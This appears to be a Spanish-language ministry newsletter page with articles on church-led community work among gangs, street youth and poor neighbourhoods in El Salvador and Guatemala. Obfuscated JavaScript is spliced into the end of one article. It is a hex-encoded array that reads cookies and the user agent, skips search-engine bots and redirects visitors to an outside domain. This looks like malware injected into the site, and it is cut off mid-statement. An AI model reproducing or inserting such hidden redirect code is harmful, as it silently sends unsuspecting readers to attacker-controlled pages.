Pastoreando en los lugares difíciles

Entrevista con el Pastor Pedro Landaverde
Por Andyra Polanco
Publicado Originalmente en PAX Noticias

Desde el año 2009 el pastor Pedro Landaverde trabaja en la Comunidad marginal LA IBERIA, con proyectos que buscan la transformación de esa comunidad (reconocida por la dominación de las pandillas). Entre los proyectos impulsados están: formación de una panadería, elaboración  de productos de limpieza, establecimiento de una escuela Parvularia con el enfoque en prevención de violencia. Además es fundador de CAVAR.

CAVAR es  un Comité con Acción en Valores del Reino, eso quieren decir sus siglas. Se formó allá por el año 2006, visitando los lugares donde están los jóvenes en situación de calle; son muchachos que huelen pega, unos duermen bajo el puente, o se quedan en el parque, a la intemperie. Esa es la condición de vida de ellos. Este grupo está por la Plaza El Trovador; en esos lugares se mantienen  durante el día y la noche.
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¿Quién tiene el mensaje?

Me preparé para compartir un día en la comunidad  de Apopa donde  pastorea Saúl Henríquez, quien durante años ha sido parte de los entrenamientos de la Serie de Salmos de la Calle.  Durante varios días trabajé el texto bíblico contando con las herramientas de exégesis y hermenéutica, dialogué con el texto, busqué palabras en el diccionario para  que me ayudaran a reforzar el mensaje. Tenía listo el bosquejo con su clásicos tres puntos.

Mi sorpresa fue cuando llegué al lugar que me habían invitado. El grupo que se reúne cada semana en esta congregación, era completamente diferente a otras iglesias. Yo sabía que la gente le decía “la iglesia de los alcohólicos,” pero hasta esta visita, pude darme cuenta de las implicaciones de esto. Estuve viendo a las personas por un largo rato, tratando de encontrar sus realidades y el mensaje que yo quería compartirles. ¿Cómo podía encontrar eco mi sermón, con sus olores, su hambre, el frío de la noche, con la “goma” que ellos estaban pasando, con su pobreza tan declarada en sus rostros, con su ropa que no entendía de decoros ni matices, con el color del lápiz labial retorcido por los labios y las mejillas producto de muchos besos nocturnos?
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Otra versión de las Buenas Nuevas en El Salvador

Me gustaría reportar sobre algo emocionante que está llevándose a cabo en El Salvador entre los evangélicos e iglesias Cristianas Pentecostales. En respuesta a la desigualdad en la situación social de pobreza, corrupción y violencia, una nueva generación de Evangélicos Centro Americanos y Pentecostales están comenzando a descubrir que a pesar de las dimensiones sociales de conversión que viene a través del evangelismo, el evangelismo sin compromiso social es una interpretación incompleta de la gran comisión y falla en tomar con seriedad la encarnación de Cristo.

Un ejemplo de esto está en la gran iglesia Pentecostal Elim Misión Internacional. Mientras que se mantienen firmes sobre la necesidad de una regeneración personal, el Pastor Mario Vega y su equipo en Elim han comenzado a hablar sobre el involucramiento en la estructura de maldad en la sociedad. “No es suficiente solo predicar el evangelio o dar ayuda al pobre,” me dijo el pastor Vega hace poco. “Debemos denunciar en contra de y tratar de cambiar esas condiciones que causan pobreza.” Esas actitudes han comenzado a ser más y más prevalecientes entre ciertos grupos de evangélicos y Pentecostales, y tan cerca como puedo rastrearlo, son el resultado de una lectura cuidadosa de los evangelios y de la alguna manera la influencia silenciosa de la Fraternidad Teológica Latinoamericana basada en Argentina.

En El Salvador, cientos de lideres Evangélicos han sido capacitados por Semillas, un afiliado de la Fraternidad Teológica, dirigida por Eliberto Juárez. La orientación teológica de Semillas es dirigida hacia ministerios que son siempre sociales e incluso políticos al mismo tiempo que son espirituales. En sus dos años de programa de capacitación, ellos enfatizan lo que llaman ministerio integral – un énfasis en intención integral de la encarnación de Dios de no dejar ningún humano, ni ningún rincón de la tierra sin ser tocado por Su amor, en consecuencia integrando cada aspecto de la vida en el mensaje redentor de buenas nuevas.

Ha habido muchos resultados notables del trabajo de Semillas y de otros ministerios que compartes ideas similares. Permítanme subrayar solo uno que ha hecho un gran impacto en mi. Este ministerio fue generado por Pastor Pedro Landaverde, una pastor de zona en Misión Elim. Pastor Pedro comenzó a trabajar en la violenta y dirigida por pandillas Comunidad Iberia hace un poco más de dos años, trabajando especialmente con jóvenes y pandillas.

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Sin embargo, en lugar de predicar sobre salvación y hacer campañas evangelisticas, él decidió solo llegar a conocer a estos jóvenes y escuchar cuidadosamente de sus necesidades. Todo esto condujo a una cena Navideña con los lideres de las pandillas y sus familias atendidos por el pastor Pedro y el Pastor Mario Vega. En esta cena ellos hicieron estrategias con estos lideres a cerca de que clase de programas los ayudarían a llenar algunas de sus necesidades materiales y económicas. Lo que dio como resultado de esto fue el desarrollo de una panadería donde los miembros de pandillas son capacitados y donde ellos trabajan, y una fábrica de cloro donde ellos hacen y venden cloro como un suplemento de limpieza. La motivación fue simplemente extender el amor de Cristo dentro de todos los aspectos de la vida comunitaria.

En las palabras del pastor Pedro, la violencia de las pandillas fue finalmente neutralizada, y recién abrieron una escuela para niños la que está fuerte. Además, muchos miembros de pandillas se han convertido en Cristianos y están participando activamente en grupos celulares. Pastor Pedro me dijo que “hacer a Jesús de nuestras vidas debe significar más que solo moralidad personal – debe extenderse hacia el exterior a todos los aspectos de la vida, tiene que ver con la justicia en todas las esferas de la vida, y debe tratarse de llevar Shalom a todas las personas ya sea que oficialmente se conviertan en Cristianos o no.”

Esta es una emocionante y relativamente nueva aplicación de la misión Cristiana dentro del evangelismo y no solamente estáé ayudando a cambiar estructuras sociales locales de pobreza y violencia, sino está también retando las vidas mismas de evangélicos Salvadoreños.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== 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Dime, ¿Qué tienes en tu casa?

En Centroamérica, tenemos un acuerdo con el Seminario Teológico Centroamericano (SETECA) para desarrollar el énfasis en Misión Urbana como parte del programa de la Maestría en Ministerio.  Al momento, estamos enseñando dos materias intensivas en dos módulos al año. La semana pasada tuvimos la oportunidad de ser facilitadores en un curso enfocado en Desarrollo Comunitario Basado en Recursos Locales (ABCD por sus siglas en inglés.)

Tuvimos la bendición de contra entre nosotros a Joel Zwier, quien recientemente se retiró del Comité de Alivio de la Iglesia Reformada luego de 28 años de trabajar en el desarrollo de proyectos en Rep. Dominicana y Haití.  Tal como sucede a menudo en los entrenamientos de la Estrategia de Transformación y CTM, buscamos maneras de enlazar la academia con las calles, así que, con luego de conversar con las autoridades del seminario, invitamos al curso a un grupo de líderes en desarrollo comunitarios sin títulos académicos, así como a líderes clave de nuestras comunidades misionales en San Salvador y la Ciudad de Guatemala.

Durante el primer día, la interacción entre los experimentados en la calle, y los estudiantes inscritos formalmente en el programa de maestría, fue distante y cauteloso. Ningún grupo parecía estar dispuesto a conectarse por completo con el otro, y me fui a casa esa noche desilusionado, pensando que esta vez habíamos calculado mal al tratar de enlazar la academia con la calle.

Sin embargo, a la mañana siguiente, entramos en el diálogo centrado alrededor de la historia del profeta Eliseo con una viuda desesperada en 2 Reyes 4:1-7. En medio de un gran déficit, Eliseo le hace a la mujer una pregunta hermosa basada en sus recursos locales:  ”Dime, ¿Qué tienes en tu casa?” Un increíble diálogo se produjo entre aquellos con experiencia desde las calles, compartiendo asombrosos puntos de vista extraídos desde las profundidades de su experiencia, y los estudiantes de maestría contribuyeron con profundas reflexiones teológicas. En el proceso de desempolvar una historia del Antiguo Testamento, cada grupo retó e inspiró al otro.  Encontramos nuestro “enlace” y una gran aventura educacional se desplegó.

Además de la excelente facilitación liderada por Joel Zwier, el curso también incluyó salidas diarias al vecindario alrededor del Seminario, la visita de la Directora de desarrollo comunitario del sector, por parte de la Municipalidad de la Ciudad, y la visita a una ONG multifacética que está en proceso de relanzar completamente su estrategia de desarrollo comunitario.  Un elemento que destacó el curso, sucedió en el panel de discusión con los “actores” principales del documental “Reparando“:  Pastor “Shorty” Luna, Tita Evertz y Doña Fina (la señora de las muñecas).

En el corazón de lo que exploramos juntos en el curso, estaba la profunda verdad de que el trabajo de desarrollo comunitario que se enfoca en las necesidades y déficit, ha tenido un profundo efecto en la manera en que vemos a la gente que hemos sido llamados a servir. A menudo lleva a un primer paso de juzgar, en vez de bendecir. Aún más, en algunos casos, terminamos como conquistadores, con una percepción de un mandato espiritual a “reparar lo que está roto.” Vemos a la casa de la viuda desesperada en una comunidad marginal urbana, y vemos el vaso medio vacío en lugar de aprender a guiar el proceso con la bella pregunta basada en recursos locales que hizo Eliseo: ”Dime, ¿Qué tienes en tu casa?”

Desafortunadamente, mucho del trabajo de desarrollo aún se realiza a través del modelo con deficiencias, empezando con cosas como “Reconocimiento de las necesidades de la comunidad.” Así, el primer acercamiento que se tiene hacia el vecindario es de bendición propia.  Vemos solo las deficiencias en los lugares difíciles en lugar de ver y celebrar los recursos locales del vecindario y la comunidad, los cuales son resultado del Espíritu, que ya está trabajando en ese lugar – El Espíritu que está muy por delante de nosotros, trabajando sin nuestra ayuda. Cuando creemos que necesitamos llevarle el Espíritu Santo a los perdidos, nos convertimos en los héroes de la historia – olvidando que es la historia de Dios, no la nuestra.

Aunque Joel Zwier y yo quisiéramos considerarnos maestros expertos en el tema de ABCD que se impartió la semana pasadaen la Ciudad de Guatemala, nuestro impacto colectivo palideció en comparación a los pocos minutos  que Doña Fina (La señora de las muñecas, del basurero de la Ciudad) pasó con nosotros en la clase. Vea este video de dos minutos de la “Profesora María” y entenderá exactamente de qué estoy hablando:

 

 Dime, ¿Qué tienes en tu casa?

Joel Van Dyke
Director para América Latina

Música para sus oídos

En la Estrategia de Transformación, contínuamente hemos conectado el trabajo que hacemos en lugares difíciles con el uso de diferentes formas de arte.  Creemos que ésta es una herramienta valiosa de expresión que muchas veces es la manera más natural para que las personas en lugares y situaciones difíciles se sientan cómodas y puedan compartir su corazón.  Constantemente sentimos afinidad al corazón del salmista al acercarse a Dios con su voz, sus instrumentos y la expresión de su cuerpo, tanto en momentos de gozo como de tristeza.

En El Salvador, la iglesia Cristiana Ciudad de Dios está empezando a descubrir este mismo sentir.  Su pastor nos comparte un poco más sobre lo que Dios está  haciendo entre ellos.  Una iglesia que está iniciando su trayecto en este tema, buscando responder a su llamado de ser luz y bendición.  Aunque otras organizaciones de gobierno y paraeclesiásticas han buscado suplir en áreas de proyección social, es el deber de la iglesia ponerse de pie y actuar en favor de la transformación que Dios quiere para nuestras ciudades.


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Ya no te busco más…

Uno de los ministerios complejos dentro de los grupos en alto riesgo es el de los niños y jóvenes en condición de calle. En cada país, esta situación varía y acentúa problemas o situaciones que van de la mano con el hecho de “ser indigente.” La noche en las calles no solo implica frío o soledad. Viene acompañada de un trapo con solvente, para calmar el hambre. Abusos físicos e incluso sexuales, disfrazados de amistad y compañía. Se acompaña también de una búsqueda constante, por un sentido especial para la vida.
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